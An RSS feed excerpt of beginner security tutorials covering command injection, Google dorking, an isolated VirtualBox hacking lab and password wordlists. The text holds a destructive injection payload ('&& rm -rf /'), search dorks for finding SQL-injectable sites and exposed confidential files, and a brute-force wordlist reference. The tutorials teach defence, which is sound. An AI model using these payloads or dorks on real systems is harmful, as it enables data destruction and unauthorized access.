                <content:encoded>
                    <![CDATA[ <p>When learning about cybersecurity, you’ll quickly realize that some vulnerabilities are more dangerous than others. One of the most serious ones is called <strong>command execution</strong>. </p>
<p>Hackers use it to run harmful commands on a system, gain access to sensitive data, take control of servers, or even shut down entire networks. </p>
<p>But how does it really work? And why is it such a big problem? Let’s break it down in simple terms.</p>
<h2 id="heading-what-is-command-execution">What Is Command Execution?</h2>
<p>Imagine a computer program that allows you to input something — like a website address or a file name — and then perform an action based on that input.</p>
<p>For example, a web tool might allow you to type in a domain name and then run a “ping” command to check if the site is online. Sounds useful, right?</p>
<p>Here’s where the problem starts: if the program doesn’t properly control or clean up what you enter, a hacker could type something unexpected — like a command that deletes all files on the system. </p>
<p>Instead of just doing what the program was designed to do, the hacker’s command gets executed as if it were legitimate.</p>
<p>Let’s look at an example of bad code:</p>
<pre><code class="lang-plaintext">import os

def ping_host(domain):
    os.system(f"ping {domain}")
</code></pre>
<p>Here’s what’s happening:</p>
<ul>
<li><p>You enter a domain like “<a target="_blank" href="http://example.com">example.com</a>”.</p>
</li>
<li><p>The program runs the <code>ping</code> command on the system, which sends test messages to "<a target="_blank" href="http://example.com">example.com</a>" to check if it’s reachable.</p>
</li>
</ul>
<p>The issue is that the program doesn’t limit what you can enter. If someone malicious enters something like <a target="_blank" href="http://example.com"><code>example.com</code></a> <code>&amp;&amp; rm -rf /</code>, it might execute both the ping command and the <code>rm -rf /</code> command, which wipes out all the files on the computer.</p>
<p>Below is an example of injecting the <code>hostname</code> command which displays the system information. </p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1732528002391/f9316a04-a1be-4f28-8db0-73ebc757dd79.png" alt="command injection example" class="image--center mx-auto" width="961" height="369" loading="lazy"></p>
<p>That’s command execution in a nutshell — when user input is misused to run unplanned system commands.</p>
<h2 id="heading-types-of-command-execution-attacks">Types of Command Execution Attacks</h2>
<p>There are two main ways hackers use command execution to attack systems: <strong>command injection</strong> and <strong>remote code execution (RCE)</strong>.</p>
<h3 id="heading-command-injection">Command Injection</h3>
<p>This is the easier type of attack. Hackers “inject” extra commands into a program by adding unexpected text to a field that accepts user input. The example above, where a hacker adds <code>&amp;&amp; rm -rf /</code> to the domain name, is a classic example of command injection.</p>
<p>Hackers use this technique to read sensitive files, delete important data, or steal information from the system.</p>
<h3 id="heading-remote-code-execution-rce">Remote Code Execution (RCE)</h3>
<p>This is the more serious version. With RCE, a hacker doesn’t just run commands — they can upload and run entire scripts or programs on the system. </p>
<p>It’s like giving a hacker the keys to your computer, letting them do whatever they want.</p>
<p>For example, imagine an attacker uploads a small program that secretly listens to their commands. They could then use that program to install ransomware, spy on users, or take full control of the system. </p>
<h2 id="heading-real-life-examples-of-command-execution-attacks">Real-Life Examples of Command Execution Attacks</h2>
<p>Let’s look at a couple of real-world cases where command execution vulnerabilities caused major damage.</p>
<h3 id="heading-the-shellshock-bug-2014">The Shellshock Bug (2014)</h3>
<p>The <a target="_blank" href="https://en.wikipedia.org/wiki/Shellshock_%28software_bug%29">Shellshock bug</a> was a massive vulnerability found in the Bash shell (a program used in many Unix-based systems). Hackers could inject commands into environment variables, tricking the system into running them. </p>
<p>Shellshock allowed attackers to take over servers, steal data, and launch large-scale attacks. This vulnerability was so serious that it affected millions of systems worldwide and required immediate patches.</p>
<h3 id="heading-cisco-security-flaw-2020">Cisco Security Flaw (2020)</h3>
<p>In 2020, a vulnerability was found in <a target="_blank" href="https://www.cisco.com/c/en/us/support/docs/csa/cisco-sa-asaftd-xss-multiple-FCB3vPZe.html">Cisco’s firewall</a> devices. This flaw let hackers execute commands on the devices remotely, gaining full control of them. </p>
<p>Since these firewalls are used to protect sensitive networks, the vulnerability posed a major risk to businesses and organizations.</p>
<h2 id="heading-how-to-protect-yourself-from-command-execution-attacks">How to Protect Yourself From Command Execution Attacks</h2>
<p>Protecting yourself from command execution vulnerabilities is all about following good practices.</p>
<ol>
<li><p><strong>Always Sanitize User Input</strong>—Think of every user input as a potential threat. For example, if a form asks for a name, a hacker might input something like <code>rm -rf /</code>. To stop this, you can use functions that strip out dangerous characters.</p>
</li>
<li><p><strong>Avoid Running System Commands</strong>—Running commands directly from your application can be risky. Instead of using something like <code>os.system('ls')</code> in Python, use <a target="_blank" href="http://subprocess.run"><code>subprocess.run</code></a><code>()</code> with <code>shell=False</code>. This way, even if someone tries to inject harmful commands, they won’t run because the shell isn’t involved.</p>
</li>
<li><p><strong>Limit What Programs Can Do</strong>—Make sure your programs only have the permissions they truly need. For example, if an application doesn't need to modify system files, don’t let it have write access to them.</p>
</li>
<li><p><strong>Keep Everything Updated</strong>—Hackers love old software because it’s like a broken lock. By updating your operating system and libraries regularly, you patch known vulnerabilities. For instance, the infamous Shellshock bug in Bash affected outdated systems but was fixed in later versions.</p>
</li>
<li><p><strong>Test for Vulnerabilities</strong>—Before someone else finds the holes in your system, test it yourself. Tools like <strong>Burp Suite</strong> or <strong>OWASP ZAP</strong> are helpful for automated scanning. For example, you can simulate attacks to see how your web app reacts and fix issues before they’re exploited.</p>
</li>
<li><p><strong>Watch Your Logs</strong>—Logs are like security cameras for your server. If you see something odd, like a lot of failed login attempts or commands you didn’t authorize, it’s a red flag. Set up alerts to catch these signs early.</p>
</li>
</ol>
<p>By following these best practices, you’ll make your systems much harder to break into.</p>
<h2 id="heading-summary">Summary</h2>
<p>Command execution vulnerabilities are one of the most powerful tools hackers can use. By exploiting them, attackers can completely control a system, steal sensitive information, or cause massive damage. Understanding this vulnerability is a key step in learning how to defend systems.</p>
<p><em>Want some real-world experience in cybersecurity? Try our five-day</em> <a target="_blank" href="https://start.stealthsecurity.sh/"><em>Hacker’s Headstart</em></a> <em>boot camp. Happy hacking!</em></p>
 ]]>
                </content:encoded>
            </item>
        
            <item>
                <title>
                    <![CDATA[ Google Dorking: How to Find Hidden Information on the Web ]]>
                </title>
                <description>
                    <![CDATA[ Let’s learn how to find hidden information online by using advanced search operators on Google. The internet holds vast amounts of information. Much of this information is accessible through Google. But did you know you can use Google in ways beyond ... ]]>
                </description>
                <link>https://www.freecodecamp.org/news/google-dorking-how-to-find-hidden-information-on-the-web/</link>
                <guid isPermaLink="false">671bf3858ac006ad747be97f</guid>
                
                    <category>
                        <![CDATA[ Web Security ]]>
                    </category>
                
                    <category>
                        <![CDATA[ ethicalhacking ]]>
                    </category>
                
                    <category>
                        <![CDATA[ #cybersecurity ]]>
                    </category>
                
                <dc:creator>
                    <![CDATA[ Manish Shivanandhan ]]>
                </dc:creator>
                <pubDate>Fri, 25 Oct 2024 19:37:41 +0000</pubDate>
                <media:content url="https://cdn.hashnode.com/res/hashnode/image/upload/v1729872503418/1e5921bc-52ba-4410-86a3-5e96a2c22405.jpeg" medium="image" />
                <content:encoded>
                    <![CDATA[ <p>Let’s learn how to find hidden information online by using advanced search operators on Google.</p>
<p>The internet holds vast amounts of information. Much of this information is accessible through Google.</p>
<p>But did you know you can use Google in ways beyond simple searches? There’s a method called “Google Dorking” that lets you do this.</p>
<p>Google Dorking helps you find hidden or overlooked data on websites. It uses advanced search operators to locate hidden files, sensitive data, and more.</p>
<p>Google Dorking allows us to be very specific with our searches. Instead of just typing in regular keywords, we combine them with operators. These operators help Google narrow down its search results.</p>
<p>Before we dive in, a word of caution. While Google Dorking can be a powerful tool for research or cybersecurity testing, it also carries some risks. Using it for unauthorized access to secure information is illegal. So use it safely and correctly!</p>
<p>Now let’s learn how to “dork” Google.</p>
<h1 id="heading-google-dorking-operators"><strong>Google Dorking Operators</strong></h1>
<p>Here’s a list of every common Google Dorking operator along with its purpose.</p>
<h3 id="heading-site"><strong>Site</strong></h3>
<p>Restricts search results to a specific domain or website. Example: <code>site:</code><a target="_blank" href="http://example.com"><code>example.com</code></a> will show results only from that site.</p>
<h3 id="heading-intitle"><strong>InTitle</strong></h3>
<p>Searches for pages with a specific word or phrase in the page title. Example: <code>intitle:login</code> will find pages with "login" in the title.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1729872545025/c2c88f8b-d14c-4da4-91f5-78ea9d87fb48.jpeg" alt="InTitle results" class="image--center mx-auto" width="600" height="400" loading="lazy"></p>
<h3 id="heading-inurl"><strong>InURL</strong></h3>
<p>The <code>inurl</code> operator is used to find specific words within the URL structure of web pages. It can help locate pages with particular keywords embedded in their web address.</p>
<p>For example, using <code>inurl:login</code> with other terms like <code>inurl:customer</code> or <code>inurl:secure</code> can reveal login pages for different sites.</p>
<p>An example of its use is <code>inurl:</code><a target="_blank" href="http://admin.It"><code>admin</code></a>. This displays URLs containing “admin,” often leading to administrative or management pages.</p>
<p>For more advanced searches, <code>inurl:pho?id=</code> can be useful to identify sites that might be vulnerable to SQL injection. URLs structured this way often include database query strings.</p>
<h3 id="heading-filetype"><strong>FileType</strong></h3>
<p>The <code>filetype</code> operator enables users to search for documents with a specific file extension. This includes extensions like PDF, DOC, or XLS.</p>
<p>The <code>filetype</code> operator makes it helpful for locating publicly accessible reports, presentations, and documents. For instance, <code>filetype:pdf financial report</code> finds PDF files related to financial reporting.</p>
<p>Combining <code>filetype</code> with certain keywords allows for more targeted searches. For example, searching <code>filetype:xlsx budget</code> could find Excel files related to budget details.</p>
<p><code>filetype:docx confidential</code> might reveal DOCX documents containing potentially sensitive terms like “confidential,” leading to internal-use files that may be accessible publicly.</p>
<h3 id="heading-cache"><strong>Cache</strong></h3>
<p>Shows Google’s cached version of a webpage, even if it’s been removed. Example: <code>cache:</code><a target="_blank" href="http://example.com"><code>example.com</code></a> shows the cached version of that page.</p>
<h3 id="heading-allintext"><strong>AllInText</strong></h3>
<p>Searches for pages that contain all the specified words in the body text. Example: <code>allintext:"username password"</code> will return pages with both words in the text.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1729872601325/87fbbd02-d5b0-43c0-9893-cef035927711.jpeg" alt="All in text results" class="image--center mx-auto" width="600" height="400" loading="lazy"></p>
<h3 id="heading-allintitle"><strong>AllInTitle</strong></h3>
<p>Searches for pages with all specified words in the title. Example: <code>allintitle:login admin</code> finds pages with both words in the title.</p>
<h3 id="heading-allinurl"><strong>AllInUrl</strong></h3>
<p>Searches for pages with multiple specified words in the URL. Example: <code>allinurl:admin login</code> finds URLs that contain both "admin" and "login."</p>
<h3 id="heading-inanchor"><strong>InAnchor</strong></h3>
<p>Finds pages with specific text in anchor links (the clickable text of a link). Example: <code>inanchor:"click here"</code> finds links where the clickable text is "click here."</p>
<h3 id="heading-before-and-after"><strong>Before and After</strong></h3>
<p>Finds pages published before or after a specific date. Example: <code>before:2020</code> will find pages published before 2020. <code>after:2020</code> will find pages published after 2020.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1729872642187/5e3a17ca-c428-4711-82d8-c904182d1d58.jpeg" alt="Before and after results" class="image--center mx-auto" width="600" height="400" loading="lazy"></p>
<h3 id="heading-or"><strong>OR</strong></h3>
<p>Combines two search terms and returns results containing either of them. Example: <code>admin OR login</code> shows pages with either "admin" or "login."</p>
<h3 id="heading-minus"><strong>Minus (-)</strong></h3>
<p>Excludes specific words from the search results. Example: <code>admin -login</code> shows pages with “admin” but without “login.”</p>
<h3 id="heading-asterisk"><strong>Asterisk (*)</strong></h3>
<p>Acts as a wildcard to substitute any word or phrase. Example: <code>"admin * login"</code> will find pages with any word between "admin" and "login."</p>
<h3 id="heading-intext"><strong>InText</strong></h3>
<p>Searches for specific words in the main body of the page, not just titles or URLs. Example: <code>intext:"confidential"</code> finds pages where "confidential" appears in the content.</p>
<h3 id="heading-location"><strong>Location</strong></h3>
<p>Restricts results to a specific geographical location. Example: <code>location:USA</code> shows results focused on the USA.</p>
<h2 id="heading-how-to-protect-yourself-from-google-dorking"><strong>How to Protect Yourself from Google Dorking</strong></h2>
<p>If you own a website or manage sensitive information online, understanding Google Dorking can help you secure your data. Here are some steps you can take to protect yourself:</p>
<ol>
<li><p><strong>Use Robots.txt Files</strong> The robots.txt file on a website tells search engines what content they shouldn’t index. Make sure that sensitive web pages or files are protected from being indexed by Google.</p>
</li>
<li><p><strong>Use Password Protection</strong> If certain parts of your website are sensitive, use password protection. Google can’t access password-protected content, so it won’t show up in search results.</p>
</li>
<li><p><strong>Avoid Storing Sensitive Files Publicly</strong> Do not store sensitive information like database backups, configuration files, or email lists on publicly accessible parts of your server.</p>
</li>
<li><p><strong>Regularly Check for Exposed Information</strong> Use your own Google Dorking searches to see if sensitive files are showing up on Google. This can help you catch and secure information before anyone else finds it.</p>
</li>
<li><p><strong>Use Web Vulnerability Scanners</strong> Tools like OWASP ZAP or Burp Suite can help you scan your own site for exposed data. These tools may catch things that you might overlook manually.</p>
</li>
</ol>
<h2 id="heading-conclusion"><strong>Conclusion</strong></h2>
<p>Google Dorking can be both helpful and dangerous, depending on how you use it. On one hand, it lets you uncover hidden information and refine your search skills. On the other, it can expose sensitive data if used irresponsibly.</p>
<p>Understanding the techniques of Google Dorking can make you a better internet user and help you secure your own data.</p>
<p>To learn how to hack machines in the real world, join our private community <a target="_blank" href="https://www.skool.com/hackershub">Hacker's Hub.</a></p>
 ]]>
                </content:encoded>
            </item>
        
            <item>
                <title>
                    <![CDATA[ How to Build Your Own Private Hacking Lab with VirtualBox ]]>
                </title>
                <description>
                    <![CDATA[ Ethical hacking involves testing and finding vulnerabilities in systems. But doing this on live networks or public servers can lead to accidental damage. Setting up a virtual lab for hacking is a great way to sharpen your skills in a safe environment... ]]>
                </description>
                <link>https://www.freecodecamp.org/news/build-a-private-hacking-lab-with-virtualbox/</link>
                <guid isPermaLink="false">671a63a2c56e050e75cb0298</guid>
                
                    <category>
                        <![CDATA[ #cybersecurity ]]>
                    </category>
                
                    <category>
                        <![CDATA[ Security ]]>
                    </category>
                
                    <category>
                        <![CDATA[ ethicalhacking ]]>
                    </category>
                
                    <category>
                        <![CDATA[ VirtualBox  ]]>
                    </category>
                
                <dc:creator>
                    <![CDATA[ Manish Shivanandhan ]]>
                </dc:creator>
                <pubDate>Thu, 24 Oct 2024 15:11:30 +0000</pubDate>
                <media:content url="https://cdn.hashnode.com/res/hashnode/image/upload/v1729751281544/6500642d-4c1e-4dba-b5d0-ab97f9f10003.jpeg" medium="image" />
                <content:encoded>
                    <![CDATA[ <p>Ethical hacking involves testing and finding vulnerabilities in systems. But doing this on live networks or public servers can lead to accidental damage.</p>
<p>Setting up a virtual lab for hacking is a great way to sharpen your skills in a safe environment. A private lab ensures that all your activities remain isolated, so there’s no risk of harming real systems or violating legal boundaries. It allows you to make mistakes and learn from them without causing harm.</p>
<h2 id="heading-project-setup">Project Setup</h2>
<p>This guide will teach you how to set up your own private lab. To do this, we’ll need three things:</p>
<ul>
<li><p>Virtualization software</p>
</li>
<li><p>Attacking Machine</p>
</li>
<li><p>Target Machine</p>
</li>
</ul>
<p>Virtualization software allows one physical computer to run multiple virtual machines (VMs). A virtual machine acts like a separate computer with its own operating system and programs but runs on the same hardware as the host computer.</p>
<p>VirtualBox is a popular virtualization software. VMware is another alternative. </p>
<p>To practice hacking, you need two machines — an attacking machine and a target machine. </p>
<p>You can use your own system as the attacking machine. But it is better to use a machine like <a target="_blank" href="https://www.kali.org/">Kali</a> or <a target="_blank" href="https://parrotsec.org/">Parrot</a> which comes pre-installed with all the tools you will need.</p>
<p>For the target machine, we can use a repository like Vulnhub. It contains several VMs built for you to practise your skills. Each one is designed to have a vulnerability that you can practise exploiting. </p>
<p>The downloads required for this setup are quite large, so I recommend you download and keep them ready. </p>
<ul>
<li><p><a target="_blank" href="https://www.virtualbox.org/wiki/Downloads">Download VirtualBox</a> (download the extension pack as well)</p>
</li>
<li><p><a target="_blank" href="https://www.kali.org/get-kali/#kali-virtual-machines">Download Kali</a> (64-bit Virtualbox image)</p>
</li>
<li><p><a target="_blank" href="https://www.vulnhub.com/entry/mr-robot-1,151/">Download Mr Robot vulnerable machine</a></p>
</li>
</ul>
<p>Let’s go 👉</p>
<h2 id="heading-how-to-install-virtualbox">How to Install VirtualBox</h2>
<p>To download VirtualBox, go to the <a target="_blank" href="https://www.virtualbox.org/wiki/Downloads">downloads page</a>. Based on your operating system, download the package and install it. </p>
<p>Once installation is complete, you should see a similar page depending on your operating system. </p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1729751323730/84912f77-6c90-49d0-8b07-b856247b3723.png" alt="Virtualbox home" class="image--center mx-auto" width="600" height="400" loading="lazy"></p>
<p>Double-click on the extension pack and make sure its installed as well. </p>
<h2 id="heading-how-to-install-kali-linux">How to Install Kali Linux</h2>
<p>Now let’s install our attacking machine. Extract the .7z file from the Kali Linux download. Then click the green “Add” icon on the VirtualBox interface and point to the .vbox file. </p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1729751345791/f84dd422-e99c-4c6d-b2e5-2381cf12933c.png" alt="Kali Linux .vbox file" class="image--center mx-auto" width="600" height="400" loading="lazy"></p>
<p>All the default settings will be applied and you should have the attacking machine installed. If you are stuck, you can <a target="_blank" href="https://www.kali.org/docs/virtualization/import-premade-virtualbox/">find detailed instructions here</a>. </p>
<p>Don’t start the machine yet. Let’s add the target machine as well, followed by changing a few networking settings. Then we can start hacking. </p>
<h2 id="heading-how-to-install-a-target-vm">How to Install a Target VM</h2>
<p>Now let’s install the target. Double-click on the downloaded <code>mrRobot.ova</code> file. Use the default settings and click “Finish”. </p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1729751365289/a3ce9b1c-7daa-4a16-959b-139d4239bae2.png" alt="Mr Robot Target VM" class="image--center mx-auto" width="600" height="400" loading="lazy"></p>
<p>Once both the attacking and target machines are setup, you should see them both in the machines list. </p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1729751388993/7c3510bb-0d9d-42b7-bdec-68a70b09b7d4.png" alt="Virtualbox home with attack and target machines" class="image--center mx-auto" width="600" height="400" loading="lazy"></p>
<p>Now let’s update the network settings to make sure our VMs are secure. </p>
<h2 id="heading-update-networking-settings">Update Networking Settings</h2>
<p>There are many ways to set up a network in VirtualBox. But in our case, we want to isolate our lab from the public internet. The best way to do this is to set up a host-only network.</p>
<p>In a host-only network, the VMs can communicate with each other but not the public internet. Let’s set it up.</p>
<p>In the Virtualbox interface, click on “Tools” and click “Host-only Networks”. Then click “Create”. It will automatically create a host only network with an IP range. For simplicity, let’s change the network’s name to “MyHackingLabNetwork”.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1729751416579/0f16b374-33d0-444d-8d09-1edd22b389c1.png" alt="Virtualbox host only network" class="image--center mx-auto" width="600" height="400" loading="lazy"></p>
<p>Click “Apply”. Now we have a host only network. Next, let’s configure our virtual machines to connect to this network. </p>
<p>Click on the Virtual Machine and click “Settings” icon. Under “Network”, choose “host-only network” and choose the name as “MyHackingLabNetwork”. Click “OK” once done. </p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1729751437795/c700b9be-0885-45fc-b0d1-70a6227167fa.png" alt="Virtualbox Network settings" class="image--center mx-auto" width="600" height="400" loading="lazy"></p>
<p>Do the same for the target machine. The IP addresses for these virtual machines will automatically be assigned by our “host-only” network. </p>
<h2 id="heading-scanning-the-target">Scanning the Target</h2>
<p>Now we are ready to go. Power on both machines. </p>
<p><strong>Note:</strong> Both machines will show a default option to startup – just press enter. If the VM looks small on your screen, click View -&gt; Scaled Mode on the top menu.</p>
<p>The username and password for the Kali machine is “kali”.</p>
<p>You should see the Kali Linux UI as below. </p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1729751456625/e63b0190-2e8d-481b-903f-faac4c2fec3f.png" alt="Kali Home" class="image--center mx-auto" width="600" height="400" loading="lazy"></p>
<p>For the Mr.Robot box, you should see the following UI:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1729751469522/71ce0dcd-595c-4f67-8ff4-716ffb1e8216.png" alt="Target home" class="image--center mx-auto" width="600" height="400" loading="lazy"></p>
<p>Now let’s find the IP addresses of these machines. </p>
<p>In Kali, open a terminal and type <code>ifconfig | grep inet</code>.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1729751487309/6ec69770-ead6-44f0-a590-7a6afb563614.png" alt="Network display" class="image--center mx-auto" width="600" height="400" loading="lazy"></p>
<p>You should see an IP address similar to 192.168.56.x. This is the IP of the target machine. </p>
<p>Now let’s use nmap to scan for other machines in this network. If you don't know what Nmap is, <a target="_blank" href="https://www.stealthsecurity.sh/p/nmap-tutorial">here is a tutorial</a>. </p>
<p>Let’s do a ping scan from Kali to look for other machines in the network. Run the following command:</p>
<pre><code class="lang-plaintext">nmap -sn 192.168.56.0/24
</code></pre>
<p>This command pings all IP addresses from <code>192.168.56.1</code> to <code>192.168.56.254</code> to see what is up and running. You should see three similar results. </p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1729751508093/204e5805-3b1e-485b-8e2e-bece23c3d781.png" alt="Nmap ping scan" class="image--center mx-auto" width="600" height="400" loading="lazy"></p>
<p>The first result is usually the IP of the adapter. So we can ignore it. Out of the two, one of them is the IP of our attack machine. We are interested in the third. In this case, its 192.168.56.3. </p>
<p>Let’s do a service version scan of this IP and see what comes up. </p>
<pre><code class="lang-plaintext">nmap -sV 192.168.56.3
</code></pre>
<p>You should see a similar result as below if you are scanning the Mr.Robot virtual machine:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1729751531886/bf6eec03-4393-4610-84ff-61dceb24edcc.png" alt="Nmap service version scan" class="image--center mx-auto" width="600" height="400" loading="lazy"></p>
<p>The above image shows that there are three ports on the server. One of them is ssh, which is closed. The other two are web server ports – 80 for http and 443 for https.</p>
<h2 id="heading-conclusion">Conclusion</h2>
<p>Congratulations! You’ve successfully set up your own hacking lab using VMware. This lab gives you the flexibility to practice ethical hacking in a controlled, isolated environment.</p>
<p>For more free tutorials on cybersecurity, <a target="_blank" href="https://www.stealthsecurity.sh/">join our newsletter</a>. To learn how to hack the Mr.Robot and other boxes, join our private community <a target="_blank" href="https://www.skool.com/hackershub">Hacker’s Hub</a>. If you are starting out in Cybersecurity, check out the <a target="_blank" href="https://book.stealthsecurity.sh/">Hacker’s Handbook</a>.</p>
<p>See you soon with another article.</p>
 ]]>
                </content:encoded>
            </item>
        
            <item>
                <title>
                    <![CDATA[ The Power of Wordlists: Why Every Ethical Hacker Needs One ]]>
                </title>
                <description>
                    <![CDATA[ Wordlists are a core component of brute-force attacks. Let's learn what they are and how to use them. Imagine that you’re a security professional who’s performing a penetration test on a client’s website. Your job is to find potential weak points in ... ]]>
                </description>
                <link>https://www.freecodecamp.org/news/the-power-of-wordlists-why-every-ethical-hacker-needs-one/</link>
                <guid isPermaLink="false">66fd923b31eb310f117a4b8f</guid>
                
                    <category>
                        <![CDATA[ Security ]]>
                    </category>
                
                    <category>
                        <![CDATA[ #cybersecurity ]]>
                    </category>
                
                    <category>
                        <![CDATA[ ethicalhacking ]]>
                    </category>
                
                    <category>
                        <![CDATA[ pentesting ]]>
                    </category>
                
                <dc:creator>
                    <![CDATA[ Manish Shivanandhan ]]>
                </dc:creator>
                <pubDate>Wed, 02 Oct 2024 18:34:35 +0000</pubDate>
                <media:content url="https://cdn.hashnode.com/res/hashnode/image/upload/v1727791638563/645b35c6-cf51-43dd-966c-09e0a5274c84.png" medium="image" />
                <content:encoded>
                    <![CDATA[ <p>Wordlists are a core component of brute-force attacks. Let's learn what they are and how to use them.</p>
<p>Imagine that you’re a security professional who’s performing a penetration test on a client’s website. Your job is to find potential weak points in their security. After running some basic scans, you notice that the login form looks vulnerable.</p>
<p>It lacks rate limiting and strong password protections. So, you might be able to try multiple passwords without being locked out. This is where a wordlist comes into play.</p>
<p>Instead of guessing random passwords one by one, you can use a pre-made wordlist. The list will contain thousands or even millions of potential passwords.</p>
<p>You can combine this wordlist with a brute-force tool like <a target="_blank" href="https://www.stealthsecurity.sh/p/hacking-hydra-practical-tutorial">Hydra</a> to perform an attack. The tool goes through the wordlist, testing each password against the login form. After a while, you hit a match. You’ve just cracked the login.</p>
<p>As an ethical hacker, you would notify the client of the weak password policy. You could then suggest stronger security measures to avoid this scenario. But this shows how critical wordlists can be when it comes to exploiting weak login systems.</p>
<p>In this article, we’ll look at wordlists in detail. We’ll cover what they are and a few use cases along with some popular wordlists.</p>
<h2 id="heading-what-are-wordlists">What are Wordlists?</h2>
<p>Wordlists are exactly what they sound like: lists of words. In cybersecurity, these words represent passwords, usernames, or even URLs.</p>
<p>Wordlists can be simple collections of common passwords like “123456” or “password”. Or they can be custom lists generated to target specific systems.</p>
<p>Penetration testers feed these wordlists into tools that let them test multiple inputs quickly. These tools include password-cracking software, brute-forcing scripts, or directory scanners. The wordlist acts as the source of input, trying each word against the target in an attempt to find a match.</p>
<h2 id="heading-how-are-wordlists-used">How are Wordlists Used?</h2>
<p>Let’s look at a few common scenarios where wordlists can be useful.</p>
<h3 id="heading-password-cracking">Password Cracking</h3>
<p>One of the most common uses of wordlists is password cracking. Attackers feed a wordlist into tools like John the Ripper or Hashcat. These tools then test each word against a password hash to find a match.</p>
<p>Let’s assume that a hacker finds hashed passwords from a compromised database. They can use a wordlist to attempt to reverse those hashes into the original passwords.</p>
<p>Modern security practices encourage complex passwords. But many people still use weak, common passwords. Wordlists exploit this human tendency by including frequently used passwords.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1727791741753/79b4837b-f1e8-4af1-994f-ecd2e89075b6.png" alt="79b4837b-f1e8-4af1-994f-ecd2e89075b6" class="image--center mx-auto" width="711" height="545" loading="lazy"></p>
<p>One of the most famous password wordlists in the hacking community is Rockyou.txt. It has 14 million passwords collected after the site <a target="_blank" href="http://Rockyou.com">Rockyou.com</a> was breached by hackers. <a target="_blank" href="https://github.com/praetorian-inc/Hob0Rules/blob/master/wordlists/rockyou.txt.gz">Here is the full wordlist</a>.</p>
<h3 id="heading-username-enumeration">Username Enumeration</h3>
<p>In some systems, knowing the correct username is half the battle. Hackers often use wordlists to enumerate usernames before attempting a password attack. It works by submitting different usernames to a login form and watching the system’s response.</p>
<p>For example, some systems will return an error message like “Username not found”. A well-crafted wordlist of usernames allows you to quickly discover which accounts exist.</p>
<p>A username wordlist can help in this type of scenario. It doesn’t have to be long like a password wordlist. But a list of common usernames would help. <a target="_blank" href="https://github.com/danielmiessler/SecLists/blob/master/Usernames/top-usernames-shortlist.txt">Here is one such wordlist</a>.</p>
<h3 id="heading-directory-and-file-enumeration">Directory and File Enumeration</h3>
<p>When testing a web app, it’s important to find hidden files and directories. They may not be publicly listed. And these hidden URLs may reveal sensitive information or hidden functionality.</p>
<p>Tools like <strong>Gobuster</strong> or <strong>Dirbuster</strong> use wordlists to automate this process. They try each word in the wordlist as a potential directory or file name.</p>
<p>For example, testing a wordlist on a website could find a hidden admin panel at <code>/admin</code>, or a backup file at <code>/backup.zip</code>. This can be useful for finding unintended exposures.</p>
<p><a target="_blank" href="https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/directory-list-1.0.txt">Here is a sample directory wordlist</a>.</p>
<h3 id="heading-subdomain-enumeration">Subdomain Enumeration</h3>
<p>Subdomain enumeration involves finding all the subdomains associated with a target website. Like hidden pages, subdomains can also contain useful and sensitive information.</p>
<p>For example, a product at <a target="_blank" href="http://product.com">product.com</a> can contain a development server at <a target="_blank" href="http://dev.product.com">dev.product.com</a>. Or an admin panel at <a target="_blank" href="http://admin.product.com">admin.product.com</a>. These subdomains might not be well protected like the main website.</p>
<p>Tools like <strong>Sublist3r</strong> and <strong>Amass</strong> are popular for this task. <a target="_blank" href="https://github.com/danielmiessler/SecLists/blob/master/Discovery/DNS/subdomains-top1million-5000.txt">Here is a subdomain wordlist</a> for these types of attacks.</p>
<h2 id="heading-how-to-create-custom-wordlists">How to Create Custom Wordlists</h2>
<p>Sometimes, general wordlists aren’t enough. For specific engagements, it’s worth creating your own wordlist tailored to the target.</p>
<p>For example, if you’re pentesting for a company, you might build a custom wordlist for that company. It can have employee names, department names, or relevant terms unique to that company.</p>
<p>Several tools help you create custom wordlists.</p>
<ul>
<li><p><strong>CeWL (custom wordlist generator)</strong> — generates wordlists by scraping text from a website specific to the target.</p>
</li>
<li><p><strong>Crunch</strong> — creates wordlists by mixing and matching the characters that you provide.</p>
</li>
</ul>
<h2 id="heading-conclusion">Conclusion</h2>
<p>Wordlists are powerful tools that every cybersecurity professional should have in their arsenal. They simplify complex tasks like password cracking, brute-forcing, and directory enumeration. The right wordlist can save you hours and help find vulnerabilities quickly and efficiently.</p>
<p><strong>Hope this tutorial helped you understand how to use wordlists. For more articles on Cybersecurity, join our free newsletter</strong> <a target="_blank" href="https://www.stealthsecurity.sh/"><strong>Stealth Security</strong></a><strong>. To learn hacking using hands-on labs, check out our private community</strong> <a target="_blank" href="https://www.skool.com/hackershub"><strong>The Hacker’s Hub</strong></a><strong>.</strong></p>
 ]]>
                </content:encoded>
            </item>
        
            <item>
                <title>
                    <![CDATA[ Shodan – What to Know About the Internet’s Most Dangerous Search Engine ]]>
                </title>
                <description>
                    <![CDATA[ Shodan is a search engine that discovers devices connected to the internet. In this article, we’ll look at why it’s both a valuable tool and a potential threat. When you hear the term “search engine,” your mind likely jumps to Google, Bing, or Yahoo.... ]]>
                </description>
                <link>https://www.freecodecamp.org/news/shodan-what-to-know-about-the-internets-most-dangerous-search-engine/</link>
                <guid isPermaLink="false">66e085303051e0f03b91144d</guid>
                
                    <category>
                        <![CDATA[ hacking ]]>
                    </category>
                
                    <category>
                        <![CDATA[ #cybersecurity ]]>
                    </category>
                
                    <category>
                        <![CDATA[ ethicalhacking ]]>
                    </category>
                
                <dc:creator>
                    <![CDATA[ Manish Shivanandhan ]]>
                </dc:creator>
                <pubDate>Tue, 10 Sep 2024 17:43:12 +0000</pubDate>
